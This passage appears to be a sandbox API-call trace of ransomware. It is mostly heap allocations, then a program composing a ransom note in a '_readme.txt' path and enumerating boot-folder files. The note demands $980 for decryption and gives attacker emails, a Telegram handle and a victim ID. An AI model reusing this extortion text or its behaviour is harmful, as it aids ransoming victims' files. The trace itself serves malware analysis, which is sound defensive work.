Size=0x830) returned 0x3306ed0 [0112.688] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.689] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.689] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.689] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.689] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.689] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.689] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.689] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.689] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.689] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.689] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.689] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.689] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.689] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.689] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.689] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.689] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.689] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.689] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.689] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.689] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.689] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.689] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.689] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.689] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.689] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.689] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.689] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.689] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.689] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.689] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.689] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.689] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.690] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.690] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.690] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.690] PathFindFileNameW (pszPath="C:\\Boot\\sv-SE\\") returned="sv-SE\\" [0112.690] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0112.690] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.690] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.690] PathFindFileNameW (pszPath="") returned="" [0112.690] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.690] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.690] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.690] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.690] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.690] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.690] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.690] PathAppendW (in: pszPath="C:\\Boot\\sv-SE\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\sv-SE\\_readme.txt") returned 1 [0112.690] PathFileExistsW (pszPath="C:\\Boot\\sv-SE\\_readme.txt") returned 0 [0112.691] lstrcpyW (in: lpString1=0x331f120, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" [0112.691] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf", lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" [0112.691] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\_readme.txt" (normalized: "c:\\boot\\sv-se\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.691] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3307758 | out: hHeap=0x660000) returned 1 [0112.691] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f120 | out: hHeap=0x660000) returned 1 [0112.691] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.691] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.691] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.691] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.691] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0112.691] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0112.691] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.691] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.691] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba300 | out: hHeap=0x660000) returned 1 [0112.691] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.691] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.692] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.692] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.692] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.692] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.692] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.692] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.692] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.692] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.692] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.692] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.692] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.692] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.692] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.692] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.692] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.692] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.692] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.692] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.692] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.692] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.692] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.692] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.692] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.692] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.692] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.692] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.692] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.692] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.692] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.692] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.692] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.692] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.692] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.692] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.692] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.693] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.693] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.693] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.693] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.693] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.693] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.693] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.693] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.693] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.693] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.693] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.693] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.693] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.693] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.693] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.693] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.693] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.693] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.693] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.693] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.693] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.693] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.693] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.693] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.693] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.693] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.693] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.693] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.693] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.693] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.693] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.693] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.693] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.693] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.693] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.693] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.694] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.694] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.694] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.694] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.694] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.694] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.694] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.694] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.694] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.694] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.694] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.694] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.694] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.694] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.694] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.694] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.694] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.694] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.694] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.694] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.694] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.694] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.694] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.694] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.694] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.694] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.694] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.694] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.694] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.694] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.694] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.694] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.694] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.694] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.694] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.694] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.695] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.695] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.695] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.695] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.695] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.695] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.695] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.695] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.695] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 